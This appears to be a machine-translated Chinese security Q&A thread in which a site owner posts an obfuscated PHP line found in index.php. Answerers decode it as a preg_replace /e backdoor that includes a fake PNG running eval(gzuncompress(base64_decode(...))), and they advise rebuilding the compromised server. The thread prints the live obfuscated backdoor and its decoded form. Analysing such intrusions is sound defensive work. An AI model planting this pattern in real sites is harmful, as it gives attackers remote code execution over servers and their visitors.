我刚刚发现index.php文件的第一行更改为以下内容。
<?php preg_replace("\xf4\x30\x1f\x161\x42\x45"^"\xd7\xf2","3\x495\xa92\xc0\x7217057\xb43\x6c\x69\x6d\x722\xe17\x67\x86\xc77\x640\x31\x78\x99\x9c0\x4"^"32\x965\x16\xbc\x98\xbf\x134\xd1\x7b\x4b\x84\xf6\xbe53\xa324\x9251\xbb\xb51","6\x30\x2f0\x2\x56\x25\x9a\xf\x6\xec7\xeb\x10\x86\x0445\x57\x53\xf3\x8d\xb9\x5c2\xc5\x97572\x83\x747\x28\x2e\xd1\x36\x7273\x3c\xb2\x1a\x9617\x3b7\xcf77\xb741\xb25\xa6\x3d5576\xd6\x7c"^"2\x581\x12\x552610607\x9b\x22\xdf7\xcc\x9e\xe14\x11244\x73\x2c334\xf8\xe903\xf0\x385\x6e\x54\xb2\x24\x4f0532\xf4\xee\x4d5\x886\xa15\x355\xc3\xd0\xca7\xd5\x5f\xc6\xe04\x55\xb5\x41"); ?>
对我来说,这看起来非常可疑,我知道通常
preg_replace
会做什么。但是,我不知道如何解码主题,模式或替换字符串。谁能告诉我
该代码实际上会做什么?
一个可能被锁定的PHP文件如何在服务器上更新?
#1 楼
此代码将实际执行什么操作?
您具有允许远程执行代码的后门
贷给borjab进行初始解码
<?php preg_replace("#(.+)#ie",
"@include_once(base64_decode(""));",
"L2hvbWU0L21pdHp2YWhjL3B1YmxpY19odG1sL2Fzc2V0cy9pbWcvbG9nb19zbWFsbC5wbmc"; ?>
请注意在第一个文件中找到的base64编码字符串:
L2hvbWU0L21pdHp2YWhjL3B1YmxpY19odG1sL2Fzc2V0cy9pbWcvbG9nb19zbWFsbC5wbmc
解码该字符串时,它指向以下文件:
/home4/mitzvahc/public_html/assets/img/logo_small.png
“图像文件似乎不是事实。
kayge指出,显然可以在线访问该文件。因此,我下载了您的“图片”,这才是真正的黑客事件发生的地方。第一个脚本试图加载该图像的内容。
在伪装图像中,有两个
eval()
语句,这些语句允许在检查$GLOBALS[ooooOOOOo(0)]
时完全执行任意代码。 仅在攻击者尝试设置该变量时才会发生。 99%的时间,当您看到
eval()
时,您真正需要知道的是您的整个Web服务器都受到远程代码执行的损害。这是它的作用:eval(gzuncompress(base64_decode("evil_payload")));
当然,您已经受到某种形式的利用的攻击,但这给攻击者提供了一个模糊的后门,使其进入您的Web服务器,他们可以连续访问,即使您要修补此问题也可以使他们首先写入文件。
邪恶的gunzip内容是什么?
您可以在这里看到它们。
在上面,这是另一个编码转储(感谢Technik帝国)
Technik Empire大大促进了#2中内容的模糊化。
nneonneo清理得更多。
为什么会发生这种情况?
所谓的锁定PHP文件如何在服务器上更新?
这太宽泛,无法访问所有内容而无法回答。您可能没有正确安装Content Management System,或者Web堆栈中某处存在漏洞。考虑到发生了什么事,我不在乎访问您的网站,因此,如果它们是CMS的一部分,则可以检查这些链接:
Joomla安全清单
WordPress加固
Django部署清单
如果未列出CMS,请查找CMS安装的强化/安全清单。如果您不使用CMS,而是使用自己的代码,那么就由您来解决安全漏洞。
发生这种情况的原因可能有很多,但最重要的是是:您的虚拟主机已被黑客入侵,或者您的网站上存在漏洞,允许恶意个人插入其他代码并完全控制您的网站...,同时,他们正在攻击访问者。
评论
“您的整个Web服务器受到远程代码执行的损害:”-无需评估就可以知道。
–user253751
16-2-17在19:52
实际上,我已经备份了关键文件,下载了该hack文件,并为clavav生成了一些信号,并对绝对必须保留的所有文件进行了扫描。即使那样,您也不能确定。我手动检查了最近恢复的服务器,并且不得不为以前未发现的php漏洞生成多个信号。生成信号后,我发现了将近1000个被感染的文件。您永远无法确定。
–user7933
16-2-17在19:54
让我们继续聊天中的讨论。
–user7933
16年2月17日在20:39
我清理了代码,并对数字也进行了模糊处理:pasted.co/70105924。这应该很清楚它在做什么。
–nneonneo
16-2-20在18:28
+1。如果可以的话,我只会给那个秃头形象+10。
– Thornsten S.
16年2月21日在16:18
#2 楼
简短的答案是:如果代码是由您不认识的人添加的,那么它是恶意的,它的作用并不重要。您的服务器已受到攻击,您需要执行完全清理。您的服务器。
评论
即使在这些问题上我认为@schroeder是我的大敌人,但他是完全正确的。实际上,对于任何种类的混淆代码而言,尤其如此。不过,我想对此进行反混淆。 :>
–马克·布法罗(Mark Buffalo)
16年2月17日在17:59
我的大问题是这些文件如何进入服务器?我是唯一拥有FTP / SSH访问权限的人。但是,我在共享的Web主机上。我的理解是,尽管每个客户端都与其他客户端隔离。我可以通过修改文件/目录来保护自己吗?
–斯科特
16年2月17日在18:05
@Scott我认为您已经知道,清理不仅仅是删除多余的代码。您应该假定攻击者使用该代码作为插入持久后门的入口点,并且现在可以完全控制/控制您的服务器。
–麦克·恩斯沃思(Mike Ounsworth)
16年2月17日在18:07
@Scott请粘贴/home4/mitzvahc/public_html/assets/img/logo_small.png的内容。我很着急看到我想要尖叫!
–马克·布法罗(Mark Buffalo)
16-2-17在19:18
/home4/mitzvahc/public_html/assets/img/logo_small.png的内容在此处:pastebin.com/Nk6PZ069
–斯科特
16-2-17在21:49
#3 楼
PHP文件已被修改,因此您遇到的不只是黑客尝试。机器已损坏。
您需要全新安装的操作系统;并从开发(或其他备份)中重新加载您的站点代码。
如果您有时间,并且很偏执,那么可能值得考虑的是,您的数据库可能包含可能对最终用户释放的XSS攻击代码。
评论
好吧,这个网站在共享服务器上运行,我无法控制它。我不能要求托管公司进行全新的操作系统安装。那我有什么选择呢?听起来仅吹走我帐户中的所有文件和目录,然后重新上传网站,似乎还不够。我是否只需要将网站放置在新的托管帐户上?
–斯科特
16年2月17日在21:53
就您的站点而言,您所能做的就是说“吹走所有文件并重新上传” ...,但是您应该首先做两件事:1.找到孔并在可能的情况下将其关闭。您的网站代码应经过彻底检查。但是,请意识到,ELSE的网站可能已遭到入侵,您可能是其厄运的受害者。 2. DTRT!联系您的托管服务商并通知他们!他们应该认真对待你;毕竟,由于它是一台共享计算机,因此> 1的客户将受到影响。如果他们不重视您,该找新主机了。
– Kevin_Kinsey
16-2-17在22:22
@Scott在这种情况下,删除所有文件将使您回到与普通共享服务相当的安全级别。该计算机的任何用户都可能是恶意的,并且可以随时尝试特权升级,因此想知道此攻击者是否也尝试过这种攻击可能是徒劳的。您是否考虑过在托管私有VM的地方托管主机? AWS有一些价格合理的选择。
– gn
16-2-18在17:15
#4 楼
通过使用两个字符串上的XOR运算符作为二进制,此代码似乎与以下代码不符:<?php preg_replace("#(.+)#ie",
"@include_once(base64_decode(""));",
"L2hvbWU0L21pdHp2YWhjL3B1YmxpY19odG1sL2Fzc2V0cy9pbWcvbG9nb19zbWFsbC5wbmc"; ?>
您可以在PHP沙箱中对其进行测试。上面生成的大字符串是base64编码的字符串:
/home4/mitzvahc/public_html/assets/img/logo_small.png
为什么使用
preg_replace
?似乎存在一个允许执行代码的安全性问题,但它可能仅用于代码混淆。评论
辛苦了我对您的帖子进行了一些编辑,以消除一些错误并添加其他参考,但是您实际上教会了我一些知识。 :]
–马克·布法罗(Mark Buffalo)
16-2-17在18:36
它使用preg_replace进行混淆。真正的问题是include_once(“ / home4 / mitzvahc / public_html / assets / img / logo_small.png”),我敢打赌这是一个PHP shell。
–ThoriumBR
16-2-17在18:55
@ThoriumBR是的,我想查看该“ png”文件中的内容。
–马克·布法罗(Mark Buffalo)
16年2月17日在19:03
preg_replace绝对不仅仅用于混淆,还需要执行include(通过e修饰符,它确实允许执行代码,在这种情况下,将执行include;否则,它将不会发生)。
–蒂姆
16年2月17日在19:43
关于e修饰符...如果您运行的是带有完整错误报告的PHP 5.5,则您将被大量E_DEPRECATED警告淹没(预警表明有问题!)。在PHP 7上,这将失败,因为e修饰符已被删除。
–怀特先生
16年2月19日在21:05
#5 楼
在这种情况下,是的,但是不是所有情况。我知道有人会遇到这个问题,因此此答案适用于更广泛的受众:Web主机做一些时髦的事情,而我有很多Web主机。您可能需要暂时解析文件,直到您有机会调用您的虚拟主机,并确定它们是否与它有任何关系。
显然有几种方法可以进行破解PHP包括一个使您能够访问帐户路径之外的服务器上所有内容的PHP(例如,在共享主机上),并且您可以看到其他人的代码,因此有时可能会黑客入侵您的帐户来查看
默认情况下,它不是一个安全文件,请移动或重命名该文件,直到您可以与Web主机确认为止。
/>
评论
通常,这些类型的脚本是基本的webshell,它们为攻击者提供了进入系统的后门。可以采用多种方式上载它-请参阅security.stackexchange.com/questions/39231/…,以了解接下来要采取的步骤。好的,我在此处发布了原始代码:mitzvahcircle.org/codetext.txt
粘贴此文件的内容:/home4/mitzvahc/public_html/assets/img/logo_small.png
完全正确地说,这并不是真正的尝试-黑客已经成功。
破解“尝试”?不,您已成功被黑客入侵。